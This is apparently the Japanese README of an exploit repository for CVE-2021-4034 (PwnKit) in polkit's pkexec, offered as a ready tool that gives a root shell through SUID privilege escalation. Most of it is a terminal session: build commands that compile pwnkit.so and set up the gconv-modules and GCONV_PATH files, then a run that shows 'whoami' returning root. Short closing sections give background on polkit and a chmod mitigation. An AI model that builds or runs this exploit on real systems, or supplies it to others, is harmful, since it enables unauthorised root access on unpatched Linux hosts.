
CVE-2021-4034(polkit pkexec)のエクスプロイト。SUID権限昇格を介してrootシェルを提供します。ソースコードとビルド手順を含みます。
polkit 権限昇格エクスプロイト
make を実行し、./cve-2021-4034 を実行するだけで、root シェルを取得できます。
Qualys チームによる元のアドバイザリはこちら
エクスプロイトが機能している場合、すぐに root シェルが取得できます:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
ほとんどのシステムで polkit を更新するとエクスプロイトが修正されるため、使用方法が表示されてプログラムが終了します:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
Polkit (旧称 PolicyKit) は、Unix 系オペレーティングシステムにおいてシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系化された方法を提供します。また、polkit を使用して、pkexec コマンドに続けて実行したいコマンド (root 権限付き) を指定することで、昇格した権限でコマンドを実行することも可能です。
お使いのオペレーティングシステムでパッチが利用できない場合は、一時的な緩和策として pkexec から SUID ビットを削除できます。
# chmod 0755 /usr/bin/pkexec